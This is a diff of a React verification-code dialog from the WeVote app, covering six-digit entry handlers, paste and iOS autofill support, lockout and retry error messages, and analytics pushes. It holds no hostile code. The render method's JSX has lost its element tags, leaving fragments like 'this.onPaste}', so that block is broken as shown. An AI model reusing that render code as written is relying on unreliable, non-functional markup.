- let errorMessageToDisplay = '';
- let errorToDisplay = false;
- if (voterSecretCodeRequestsLocked) {
- errorToDisplay = true;
- const { voterEmailAddress, voterPhoneNumber } = this.state;
- if (voterEmailAddress) {
- errorMessageToDisplay = `Please contact WeVote support regarding ${voterEmailAddress}.`;
- } else if (voterPhoneNumber) {
- errorMessageToDisplay = `Please contact WeVote support regarding ${voterPhoneNumber}.`;
- } else {
- errorMessageToDisplay = 'Please contact WeVote support. Your account is locked.';
- }
- } else if (voterMustRequestNewCode) {
- errorToDisplay = true;
- errorMessageToDisplay = 'You\'ve reached the maximum number of tries.';
- } else if (incorrectSecretCodeEntered || numberOfTriesRemaining <= 4) {
- // console.log('onVoterStoreChange DISPLAYING Incorrect code entered.');
- errorToDisplay = true;
- errorMessageToDisplay = 'Incorrect code entered.';
- }
- this.setState({
- errorMessageToDisplay,
- errorToDisplay,
- incorrectSecretCodeEntered,
- numberOfTriesRemaining,
- secretCodeVerified,
- voterMustRequestNewCode,
- voterSecretCodeRequestsLocked,
- voterVerifySecretCodeSubmitted: false,
- });
- }
- }
-
- onDigit1Change (e) {
- const regex = /^[0-9]$/;
- const regex2 = /^[0-9]{7}$/;
- const digit = e.target.value;
-
- // Handle iOS verification code "From Messages" auto fill
- if (isCordova() && digit.length === 6) {
- this.onPaste(e);
- return;
- }
-
- if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
- return;
- }
-
- if (regex.test(digit)) {
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.focus();
- this.setState({
- digit1: digit,
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- e.target.value = digit;
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
- } else {
- e.target.value = '';
- this.setState({
- digit1: '',
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- }
- }
-
-
- onDigit2Change (e) {
- const regex = /^[0-9]$/;
- const regex2 = /^[0-9]{7}$/;
- const digit = e.target.value;
-
- if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
- return;
- }
-
- if (regex.test(digit)) {
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.focus();
- this.setState({
- digit2: digit,
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- e.target.value = digit;
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
- } else {
- e.target.value = '';
- this.setState({
- digit2: '',
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- }
- }
-
- onDigit3Change (e) {
- const regex = /^[0-9]$/;
- const regex2 = /^[0-9]{7}$/;
- const digit = e.target.value;
-
- if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
- return;
- }
-
- if (regex.test(digit)) {
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.focus();
- this.setState({
- digit3: digit,
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- e.target.value = digit;
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
- } else {
- e.target.value = '';
- this.setState({
- digit3: '',
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- }
- }
-
- onDigit4Change (e) {
- const regex = /^[0-9]$/;
- const regex2 = /^[0-9]{7}$/;
- const digit = e.target.value;
-
- if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
- return;
- }
-
- if (regex.test(digit)) {
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.focus();
- this.setState({
- digit4: digit,
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- e.target.value = digit;
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
- } else {
- e.target.value = '';
- this.setState({
- digit4: '',
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- }
- }
-
- onDigit5Change (e) {
- const regex = /^[0-9]$/;
- const regex2 = /^[0-9]{7}$/;
- const digit = e.target.value;
-
- if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
- return;
- }
-
- if (regex.test(digit)) {
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.focus();
- this.setState({
- digit5: digit,
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- e.target.value = digit;
- e.target.blur();
- e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
- } else {
- e.target.value = '';
- this.setState({
- digit5: '',
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- }
- }
-
- onDigit6Change (e) {
- const regex = /^[0-9]$/;
- const regex2 = /^[0-9]{7}$/;
- const digit = e.target.value;
-
- if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
- return;
- }
-
- if (regex.test(digit)) {
- this.setState({
- digit6: digit,
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- e.target.value = digit;
- } else {
- e.target.value = '';
- this.setState({
- digit6: '',
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
- }
- }
-
- // eslint-disable-next-line react/sort-comp
- onPaste (e) {
- // console.log(e.clipboardData.getData('Text'));
-
- let charInputArray = '';
- if (e.clipboardData) { // Paste
- charInputArray = e.clipboardData.getData('Text').split('');
- } else if (e.target.value) { // "From Messages" in iOS
- charInputArray = e.target.value.split('');
- }
- // console.log(charInputArray);
-
- const regex = /^[0-9]$/;
-
- const allDigits = charInputArray.filter((digit) => regex.test(digit));
-
- if (allDigits[5]) {
- this.setState({
- digit1: allDigits[0],
- digit2: allDigits[1],
- digit3: allDigits[2],
- digit4: allDigits[3],
- digit5: allDigits[4],
- digit6: allDigits[5],
- errorToDisplay: false,
- errorMessageToDisplay: '',
- });
-
- document.getElementById('digit1').blur(); // prevents change from firing on chrome
- document.getElementById('digit2').blur(); // prevents change from firing on chrome
- document.getElementById('digit3').blur(); // prevents change from firing on chrome
- document.getElementById('digit4').blur(); // prevents change from firing on chrome
- document.getElementById('digit5').blur(); // prevents change from firing on chrome
- document.getElementById('digit6').blur(); // prevents change from firing on chrome
- // If all digits were pasted in, do not require a 'Verify' button keystroke
- this.voterVerifySecretCode();
- } else {
- this.setState({
- digit1: '',
- digit2: '',
- digit3: '',
- digit4: '',
- digit5: '',
- digit6: '',
- errorToDisplay: true,
- errorMessageToDisplay: 'Please enter a six-digit code',
- });
- }
- }
-
- voterVerifySecretCode = () => {
- const { digit1, digit2, digit3, digit4, digit5, digit6, voterPhoneNumber, voterVerifySecretCodeSubmitted } = this.state;
- // console.log('voterVerifySecretCode local function, voterPhoneNumber:', voterPhoneNumber);
- const secretCode = `${digit1}${digit2}${digit3}${digit4}${digit5}${digit6}`;
- const codeSentToSMSPhoneNumber = !!voterPhoneNumber;
- if (!voterVerifySecretCodeSubmitted) {
- VoterActions.voterVerifySecretCode(secretCode, codeSentToSMSPhoneNumber);
- this.setState({ voterVerifySecretCodeSubmitted: true });
- }
- };
-
- closeSignInModalLocal = () => {
- // console.log('voterVerifySecretCode this.props.closeVerifyModal:', this.props.closeVerifyModal);
- if (this.props.closeSignInModal) {
- this.props.closeSignInModal();
- } else if (this.props.closeVerifyModal) {
- // WV-4229: Some entry points (WelcomeForVoters, CompleteYourProfile, SetUpAccountEditName)
- // only pass closeVerifyModal, not closeSignInModal. Without this fallback, a successful
- // code verification leaves the modal stuck on "Verifying...".
- this.props.closeVerifyModal();
- }
- };
-
- closeVerifyModalLocal = () => {
- // console.log('voterVerifySecretCode this.props.closeVerifyModal:', this.props.closeVerifyModal);
- this.setState({ cancelingVerifyModal: true });
- if (this.props.closeVerifyModal) {
- this.props.closeVerifyModal();
- }
- };
-
- pushDataLayer = (landing, buttonId, actionType) => {
- const dataLayerObject = {
- actionDetails: {
- actionType,
- ...(buttonId && { buttonId }),
- },
- event: landing ? 'landing' : 'click',
- verifyDetails: {
- verifyMethod: this.voterPhoneNumber ? 'SMS' : 'email',
- },
- pageDetails: getPageDetails(),
- userDetails: VoterStore.getAnalyticsUserDetails(),
- };
- TagManager.dataLayer({ dataLayer: dataLayerObject });
- };
-
- render () {
- renderLog('SettingsVerifySecretCode'); // Set LOG_RENDER_EVENTS to log all renders
- // console.log('SettingsVerifySecretCode render');
- const { classes } = this.props;
- const {
- condensed, errorMessageToDisplay, errorToDisplay,
- voterEmailAddress, voterMustRequestNewCode, voterPhoneNumber, voterSecretCodeRequestsLocked,
- voterVerifySecretCodeSubmitted,
- } = this.state;
-
- if (!voterEmailAddress && !voterPhoneNumber) {
- // We get a weird extra ghost version of SettingsVerifySecretCode, and this is how we block it.
- return null;
- }
-
- let sentTo = voterPhoneNumber || voterEmailAddress;
- // Parambatur.Narayanasami@wevoteeducation.org 6/25/25: Long names were making the dialog horizont123ally scrollable
- if (voterEmailAddress && voterEmailAddress.length > 25) {
- const pieces = voterEmailAddress.split('@');
- sentTo = `${pieces[0]}@\n${pieces[1]}`;
- }
-
- return (
-
-
- {isWebApp() && (
- {
- const buttonId = e.target.id;
- this.closeVerifyModalLocal();
- this.pushDataLayer(false, buttonId, 'navigate');
- }}
- >
- {isIOS() ?
- )}
-
-
-
- Code Verification
- A 6-digit code has been sent to
- {sentTo}
-
- {(voterEmailAddress) ? (
- If you haven't received the code in 30 seconds, please check your spam folder and mark the email as 'Not Spam'.
- ) : (
- <>
- {(voterPhoneNumber) && (
- If you haven't received the code within 30 seconds, please verify the number you entered.
- )}
-
- )}
-
- this.onPaste}
- type="tel"
- value={this.state.digit1}
- autoFocus
- />
- this.onPaste}
- onKeyDown={this.handleKeyDown2}
- type="tel"
- value={this.state.digit2}
- />
- this.onPaste}
- onKeyDown={this.handleKeyDown3}
- type="tel"
- value={this.state.digit3}
- />
- this.onPaste}
- onKeyDown={this.handleKeyDown4}
- type="tel"
- value={this.state.digit4}
- />
- this.onPaste}
- onKeyDown={this.handleKeyDown5}
- type="tel"
- value={this.state.digit5}
- />
- this.onPaste}
- onKeyDown={this.handleKeyDown6}
- type="tel"
- value={this.state.digit6}
- />
-
- {errorToDisplay && (
- {errorMessageToDisplay}
- )}
-
-
- {
- const buttonId = e.target.id;
- this.voterVerifySecretCode();
- this.pushDataLayer(false, buttonId, 'navigate');
- }}
- variant="contained"
- >
- {voterVerifySecretCodeSubmitted ? 'Verifying...' : 'Verify'}
-
- {/* We will make this button work later
-
- Resend SMS
-
- */}
- {
- const buttonId = e.target.id;
- this.closeVerifyModalLocal();
- this.pushDataLayer(false, buttonId, 'navigate');
- }}
- variant={voterMustRequestNewCode ? 'contained' : 'outlined'}
- >
- {voterPhoneNumber ? 'Try a different number' : 'Try a different email'}
-
-
-
-
- );
- }
-}
-SettingsVerifySecretCode.propTypes = {
- classes: PropTypes.object,
- show: PropTypes.bool,
- closeSignInModal: PropTypes.func,
- closeVerifyModal: PropTypes.func,
- voterEmailAddress: PropTypes.string,
- voterPhoneNumber: PropTypes.string,
-};
-
-const styles = (theme) => ({
- dialogPaper: {
- marginTop: hasCordovaNotch() ? 68 : 48,
- [theme.breakpoints.up('sm')]: {
- maxWidth: '720px',
- width: '85%',
- minHeight: '90%',
- maxHeight: '90%',
- height: '90%',
- margin: '0 auto',
- },
- [theme.breakpoints.down('sm')]: {
- minWidth: '95%',
- maxWidth: '95%',
- width: '95%',
- minHeight: '90%',
- maxHeight: '90%',
- height: '90%',
- margin: '0 auto',
- },
- },
- dialogRoot: {
- zIndex: '9030 !important',
- },
- codeVerifyCordova: {
- // top: '9%', Removed 12/13/23 to reduce vertical vibration on digit entry field advance
- bottom: 'unset',
- height: 'unset',
- minHeight: 'unset',
- margin: '5px',
- },
- inputBase: {
- alignContent: 'center',
- display: 'flex',
- // flex: '0 0 1',
- justifyContent: 'center',
- margin: '0 4px',
- // maintain aspect ratio
- width: '10vw',
- height: '10vw',
- maxWidth: 53,
- maxHeight: 53,
- fontSize: 22,
- '@media(min-width: 569px)': {
- margin: '0 8px',
- fontSize: 35,
- },
- '&:first-child': {
- marginLeft: 0,
- },
- '&:last-child': {
- marginRight: 0,
- },
- background: '#f7f7f7',
- },
- input: {
- textAlign: 'center',
- padding: '8px 0',
-
- },
- button: {
- width: '100%',
- border: '1px solid #ddd',
- fontWeight: 'bold',
- margin: '6px 0',
- },
- verifyButton: {
- margin: '6px 0',
- },
-});
-
-const ModalTitleArea = styled('div', {
- shouldForwardProp: (prop) => !['condensed'].includes(prop),
-})(({ condensed }) => (`
- width: 100%;
- padding: ${condensed ? '8px' : '12px'};
- box-shadow: 0 20px 40px -25px #999;
- z-index: 999;
- display: flex;
- justify-content: flex-start;
- position: absolute;
- top: 0;
-`));
-
-const ModalContent = styled('div', {
- shouldForwardProp: (prop) => !['condensed'].includes(prop),
-})(({ condensed }) => (`
- display: flex;
- flex-direction: column;
- align-items: ${condensed ? 'flex-start' : 'space-evenly'};
- height: ${isWebApp() ? '100%' : 'unset'};
- width: 80%;
- max-width: 400px;
- margin: 0 auto;
- padding: ${condensed ? '66px 0 0 0' : '86px 0 72px 0'};
-`));
-
-const TextContainer = styled('div')`
-`;
-
-const ButtonsContainer = styled('div', {
- shouldForwardProp: (prop) => !['condensed'].includes(prop),
-})(({ condensed }) => (`
- margin-top: ${condensed ? '16px' : 'auto'};
-`));
-
-const Title = styled('h3', {
- shouldForwardProp: (prop) => !['condensed'].includes(prop),
-})(({ condensed }) => (`
- font-weight: bold;
- font-size: ${() => (isIPhone4in() ? '26px' : '30px')};
- padding: 0 10px;
- margin-bottom: ${condensed ? '16px' : '36px'};
- color: black;
- text-align: center;
- @media(min-width: 569px) {
- font-size: 36px;
- }
-`));
-
-const Subtitle = styled('h4')`
- color: #424242;
- text-align: center;
-`;
-
-const PhoneSubtitle = styled('h4')`
- color: black;
- font-weight: bold;
- text-align: center;
-`;
-
-const InputContainer = styled('div', {
- shouldForwardProp: (prop) => !['condensed'].includes(prop),
-})(({ condensed }) => (`
- display: flex;
- justify-content: space-between;
- margin: auto;
- width: 100%;
- margin-top: ${condensed ? '16px' : '32px'};
-`));
-
-const ErrorMessage = styled('div')`
- color: red;
- margin: 12px 0;
- text-align: center;
- font-size: 14px;
-`;
-
-export default withTheme(withStyles(styles)(SettingsVerifySecretCode));
-
+import { ArrowBack, ArrowBackIos } from '@mui/icons-material';
+import { Button, Dialog, OutlinedInput } from '@mui/material';
+import withStyles from '@mui/styles/withStyles';
+import withTheme from '@mui/styles/withTheme';
+import TagManager from 'react-gtm-module';
+import clsx from 'clsx';
+import PropTypes from 'prop-types';
+import React, { Component } from 'react';
+import styled from 'styled-components';
+import VoterActions from '../../../actions/VoterActions';
+import { hasCordovaNotch, isIOS, isIPhone4in } from '../../utils/cordovaUtils';
+import { isCordova, isWebApp } from '../../utils/isCordovaOrWebApp';
+import { renderLog } from '../../utils/logging';
+import VoterStore from '../../../stores/VoterStore';
+import { getPageDetails } from '../../../utils/lookupPageNameAndPageTypeDict';
+
+/* global $ */
+
+class SettingsVerifySecretCode extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ cancelingVerifyModal: false,
+ condensed: false,
+ dataLayerFired: false,
+ digit1: '',
+ digit2: '',
+ digit3: '',
+ digit4: '',
+ digit5: '',
+ digit6: '',
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ incorrectSecretCodeEntered: false,
+ numberOfTriesRemaining: 5,
+ secretCodeVerified: false,
+ voterMustRequestNewCode: false,
+ voterPhoneNumber: '',
+ voterSecretCodeRequestsLocked: false,
+ voterVerifySecretCodeSubmitted: false,
+ };
+ this.onDigit1Change = this.onDigit1Change.bind(this);
+ this.onDigit2Change = this.onDigit2Change.bind(this);
+ this.onDigit3Change = this.onDigit3Change.bind(this);
+ this.onDigit4Change = this.onDigit4Change.bind(this);
+ this.onDigit5Change = this.onDigit5Change.bind(this);
+ this.onDigit6Change = this.onDigit6Change.bind(this);
+ this.handleKeyDown2 = this.handleKeyDown2.bind(this);
+ this.handleKeyDown3 = this.handleKeyDown3.bind(this);
+ this.handleKeyDown4 = this.handleKeyDown4.bind(this);
+ this.handleKeyDown5 = this.handleKeyDown5.bind(this);
+ this.handleKeyDown6 = this.handleKeyDown6.bind(this);
+ this.handleFocus = this.handleFocus.bind(this);
+ this.handleBlur = this.handleBlur.bind(this);
+ this.onPaste = this.onPaste.bind(this);
+ }
+
+ componentDidMount () {
+ // console.log('SettingsVerifySecretCode componentDidMount');
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ const { voterEmailAddress, voterPhoneNumber } = this.props;
+ // const newVoterPhoneNumber = voterPhoneNumber.replace(/\D+/g, '').replace(/(\d{3})(\d{3})(\d{4})/, '$1-$2-$3');
+ // console.log('voterEmailAddress:', voterEmailAddress);
+
+ let initialDisplay = '';
+ if (isCordova()) {
+ const dlg = $('div[class*="SignInModal-dialogPaper"]');
+ initialDisplay = dlg.css('display');
+ dlg.css('display', 'none'); // Hide the entry dialog
+ }
+
+ this.setState({
+ voterEmailAddress,
+ voterPhoneNumber,
+ initialDisplay,
+ });
+ const delayBeforeClearingVerificationStatus = 200;
+ this.clearSecretCodeVerificationStatusTimer = setTimeout(() => {
+ VoterActions.clearSecretCodeVerificationStatus();
+ }, delayBeforeClearingVerificationStatus);
+
+ window.addEventListener('paste', this.onPaste);
+
+ const { dataLayerFired } = this.state;
+ if (!dataLayerFired) {
+ if (VoterStore.voterFirstRetrieveCompleted()) {
+ this.pushDataLayer(true, null, 'landing');
+ this.setState({
+ dataLayerFired: true,
+ });
+ }
+ }
+ }
+
+ shouldComponentUpdate (nextProps, nextState) {
+ if (this.state.incorrectSecretCodeEntered !== nextState.incorrectSecretCodeEntered) return true;
+ if (this.state.numberOfTriesRemaining !== nextState.numberOfTriesRemaining) return true;
+ if (this.state.secretCodeVerified !== nextState.secretCodeVerified) return true;
+ if (this.state?.voterEmailAddress !== nextState?.voterEmailAddress) return true;
+ if (this.state.voterMustRequestNewCode !== nextState.voterMustRequestNewCode) return true;
+ if (this.state.voterPhoneNumber !== nextState.voterPhoneNumber) return true;
+ if (this.state.voterSecretCodeRequestsLocked !== nextState.voterSecretCodeRequestsLocked) return true;
+ if (this.state.voterVerifySecretCodeSubmitted !== nextState.voterVerifySecretCodeSubmitted) return true;
+ if (this.state.cancelingVerifyModal !== nextState.cancelingVerifyModal) return true;
+ if (this.state.condensed !== nextState.condensed) return true;
+ if (this.state.digit1 !== nextState.digit1) return true;
+ if (this.state.digit2 !== nextState.digit2) return true;
+ if (this.state.digit3 !== nextState.digit3) return true;
+ if (this.state.digit4 !== nextState.digit4) return true;
+ if (this.state.digit5 !== nextState.digit5) return true;
+ if (this.state.digit6 !== nextState.digit6) return true;
+ // console.log('shouldComponentUpdate return false');
+ return false;
+ }
+
+ componentDidUpdate () {
+ const { dataLayerFired } = this.state;
+ if (!dataLayerFired) {
+ if (VoterStore.voterFirstRetrieveCompleted()) {
+ this.pushDataLayer(true, null, 'landing');
+ this.setState({
+ dataLayerFired: true,
+ });
+ }
+ }
+ }
+
+ componentWillUnmount () {
+ // console.log('SettingsVerifySecretCode componentWillUnmount');
+ this.voterStoreListener.remove();
+ if (this.clearSecretCodeVerificationStatusTimer) {
+ clearTimeout(this.clearSecretCodeVerificationStatusTimer);
+ }
+ window.removeEventListener('paste', this.onPaste);
+ this.closeVerifyModalLocal();
+ const { initialDisplay = 'unset' } = this.state;
+ if (isCordova()) {
+ $('div[class*="SignInModal-dialogPaper"]').css('display', initialDisplay); // un-hide the entry dialog
+ }
+ }
+
+ handleDigit6Blur = () => {
+ // 2022-09-29 NOTE: Submitting the code on blur can cause some weird behavior.
+ // One case is this: clicking "Try a different number" after you have entered a full and correct
+ // verification code, signs you in. But attempts to change/remove
+ // this "handleDigit6Blur" function caused other, worse problems.
+
+ // 2024-04-10 NOTE: This function is no longer being used in order to address WV-328.
+ const {
+ cancelingVerifyModal, digit1, digit2, digit3, digit4, digit5, digit6,
+ voterPhoneNumber, voterVerifySecretCodeSubmitted,
+ } = this.state;
+ this.setState({ condensed: false });
+ if (digit6) {
+ // Jan 2020 this comment looks wrong, but might still contain a clue: When there is a voterEmailAddress value and the keyboard closes, submit
+ const secretCode = `${digit1}${digit2}${digit3}${digit4}${digit5}${digit6}`;
+ const codeSentToSMSPhoneNumber = !!voterPhoneNumber;
+ if (!voterVerifySecretCodeSubmitted && !cancelingVerifyModal) {
+ VoterActions.voterVerifySecretCode(secretCode, codeSentToSMSPhoneNumber);
+ this.setState({ voterVerifySecretCodeSubmitted: true });
+ }
+ }
+ };
+
+ handleKeyDown2 (e) {
+ if (e.keyCode === 8 && this.state.digit2 === '') {
+ e.target.parentElement.previousElementSibling.firstElementChild.value = '';
+ e.target.parentElement.previousElementSibling.firstElementChild.focus();
+ this.setState({ digit1: '' });
+ }
+ }
+
+ handleKeyDown3 (e) {
+ if (e.keyCode === 8 && this.state.digit3 === '') {
+ e.target.parentElement.previousElementSibling.firstElementChild.value = '';
+ e.target.parentElement.previousElementSibling.firstElementChild.focus();
+ this.setState({ digit2: '' });
+ }
+ }
+
+ handleKeyDown4 (e) {
+ if (e.keyCode === 8 && this.state.digit4 === '') {
+ e.target.parentElement.previousElementSibling.firstElementChild.value = '';
+ e.target.parentElement.previousElementSibling.firstElementChild.focus();
+ this.setState({ digit3: '' });
+ }
+ }
+
+ handleKeyDown5 (e) {
+ if (e.keyCode === 8 && this.state.digit5 === '') {
+ e.target.parentElement.previousElementSibling.firstElementChild.value = '';
+ e.target.parentElement.previousElementSibling.firstElementChild.focus();
+ this.setState({ digit4: '' });
+ }
+ }
+
+ handleKeyDown6 (e) {
+ const ENTER_KEY_CODE = 13;
+ const BACKSPACE_KEY_CODE = 8;
+ if (e.keyCode === BACKSPACE_KEY_CODE && this.state.digit6 === '') {
+ e.target.parentElement.previousElementSibling.firstElementChild.value = '';
+ e.target.parentElement.previousElementSibling.firstElementChild.focus();
+ this.setState({ digit5: '' });
+ }
+ const keyCodesForSubmit = [ENTER_KEY_CODE];
+ if (keyCodesForSubmit.includes(e.keyCode)) {
+ e.preventDefault();
+ this.voterVerifySecretCode(e);
+ }
+ }
+
+ handleBlur () {
+ this.setState({ condensed: false });
+ }
+
+ handleFocus (e) {
+ e.target.select();
+ if (isCordova()) {
+ this.setState({ condensed: true });
+ }
+ }
+
+ onVoterStoreChange () {
+ const secretCodeVerificationStatus = VoterStore.getSecretCodeVerificationStatus();
+ const { incorrectSecretCodeEntered, numberOfTriesRemaining, secretCodeVerified, voterMustRequestNewCode, voterSecretCodeRequestsLocked } = secretCodeVerificationStatus;
+ // console.log(`onVoterStoreChange secretCodeVerified: ${secretCodeVerified}`);
+ // console.log(`onVoterStoreChange secretCodeVerificationStatus: ${JSON.stringify(secretCodeVerificationStatus)}`);
+ if (secretCodeVerified) {
+ // console.log('SettingsVerifySecretCode -- onVoterStoreChange secretCodeVerified: yes');
+ this.closeSignInModalLocal();
+ } else {
+ let errorMessageToDisplay = '';
+ let errorToDisplay = false;
+ if (voterSecretCodeRequestsLocked) {
+ errorToDisplay = true;
+ const { voterEmailAddress, voterPhoneNumber } = this.state;
+ if (voterEmailAddress) {
+ errorMessageToDisplay = `Please contact WeVote support regarding ${voterEmailAddress}.`;
+ } else if (voterPhoneNumber) {
+ errorMessageToDisplay = `Please contact WeVote support regarding ${voterPhoneNumber}.`;
+ } else {
+ errorMessageToDisplay = 'Please contact WeVote support. Your account is locked.';
+ }
+ } else if (voterMustRequestNewCode) {
+ errorToDisplay = true;
+ errorMessageToDisplay = 'You\'ve reached the maximum number of tries.';
+ } else if (incorrectSecretCodeEntered || numberOfTriesRemaining <= 4) {
+ // console.log('onVoterStoreChange DISPLAYING Incorrect code entered.');
+ errorToDisplay = true;
+ errorMessageToDisplay = 'Incorrect code entered.';
+ }
+ this.setState({
+ errorMessageToDisplay,
+ errorToDisplay,
+ incorrectSecretCodeEntered,
+ numberOfTriesRemaining,
+ secretCodeVerified,
+ voterMustRequestNewCode,
+ voterSecretCodeRequestsLocked,
+ voterVerifySecretCodeSubmitted: false,
+ });
+ }
+ }
+
+ onDigit1Change (e) {
+ const regex = /^[0-9]$/;
+ const regex2 = /^[0-9]{7}$/;
+ const digit = e.target.value;
+
+ // Handle iOS verification code "From Messages" auto fill
+ if (isCordova() && digit.length === 6) {
+ this.onPaste(e);
+ return;
+ }
+
+ if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
+ return;
+ }
+
+ if (regex.test(digit)) {
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.focus();
+ this.setState({
+ digit1: digit,
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ e.target.value = digit;
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
+ } else {
+ e.target.value = '';
+ this.setState({
+ digit1: '',
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ }
+ }
+
+
+ onDigit2Change (e) {
+ const regex = /^[0-9]$/;
+ const regex2 = /^[0-9]{7}$/;
+ const digit = e.target.value;
+
+ if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
+ return;
+ }
+
+ if (regex.test(digit)) {
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.focus();
+ this.setState({
+ digit2: digit,
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ e.target.value = digit;
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
+ } else {
+ e.target.value = '';
+ this.setState({
+ digit2: '',
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ }
+ }
+
+ onDigit3Change (e) {
+ const regex = /^[0-9]$/;
+ const regex2 = /^[0-9]{7}$/;
+ const digit = e.target.value;
+
+ if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
+ return;
+ }
+
+ if (regex.test(digit)) {
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.focus();
+ this.setState({
+ digit3: digit,
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ e.target.value = digit;
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
+ } else {
+ e.target.value = '';
+ this.setState({
+ digit3: '',
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ }
+ }
+
+ onDigit4Change (e) {
+ const regex = /^[0-9]$/;
+ const regex2 = /^[0-9]{7}$/;
+ const digit = e.target.value;
+
+ if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
+ return;
+ }
+
+ if (regex.test(digit)) {
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.focus();
+ this.setState({
+ digit4: digit,
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ e.target.value = digit;
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
+ } else {
+ e.target.value = '';
+ this.setState({
+ digit4: '',
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ }
+ }
+
+ onDigit5Change (e) {
+ const regex = /^[0-9]$/;
+ const regex2 = /^[0-9]{7}$/;
+ const digit = e.target.value;
+
+ if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
+ return;
+ }
+
+ if (regex.test(digit)) {
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.focus();
+ this.setState({
+ digit5: digit,
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ e.target.value = digit;
+ e.target.blur();
+ e.target.parentElement.nextElementSibling.firstElementChild.nextElementSibling.focus();
+ } else {
+ e.target.value = '';
+ this.setState({
+ digit5: '',
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ }
+ }
+
+ onDigit6Change (e) {
+ const regex = /^[0-9]$/;
+ const regex2 = /^[0-9]{7}$/;
+ const digit = e.target.value;
+
+ if (regex2.test(digit)) { // change is fired on paste, resulting in multiple digits
+ return;
+ }
+
+ if (regex.test(digit)) {
+ this.setState({
+ digit6: digit,
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ e.target.value = digit;
+ } else {
+ e.target.value = '';
+ this.setState({
+ digit6: '',
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+ }
+ }
+
+ // eslint-disable-next-line react/sort-comp
+ onPaste (e) {
+ // console.log(e.clipboardData.getData('Text'));
+
+ let charInputArray = '';
+ if (e.clipboardData) { // Paste
+ charInputArray = e.clipboardData.getData('Text').split('');
+ } else if (e.target.value) { // "From Messages" in iOS
+ charInputArray = e.target.value.split('');
+ }
+ // console.log(charInputArray);
+
+ const regex = /^[0-9]$/;
+
+ const allDigits = charInputArray.filter((digit) => regex.test(digit));
+
+ if (allDigits[5]) {
+ this.setState({
+ digit1: allDigits[0],
+ digit2: allDigits[1],
+ digit3: allDigits[2],
+ digit4: allDigits[3],
+ digit5: allDigits[4],
+ digit6: allDigits[5],
+ errorToDisplay: false,
+ errorMessageToDisplay: '',
+ });
+
+ document.getElementById('digit1').blur(); // prevents change from firing on chrome
+ document.getElementById('digit2').blur(); // prevents change from firing on chrome
+ document.getElementById('digit3').blur(); // prevents change from firing on chrome
+ document.getElementById('digit4').blur(); // prevents change from firing on chrome
+ document.getElementById('digit5').blur(); // prevents change from firing on chrome
+ document.getElementById('digit6').blur(); // prevents change from firing on chrome
+ // If all digits were pasted in, do not require a 'Verify' button keystroke
+ this.voterVerifySecretCode();
+ } else {
+ this.setState({
+ digit1: '',
+ digit2: '',
+ digit3: '',
+ digit4: '',
+ digit5: '',
+ digit6: '',
+ errorToDisplay: true,
+ errorMessageToDisplay: 'Please enter a six-digit code',
+ });
+ }
+ }
+
+ voterVerifySecretCode = () => {
+ const { digit1, digit2, digit3, digit4, digit5, digit6, voterPhoneNumber, voterVerifySecretCodeSubmitted } = this.state;
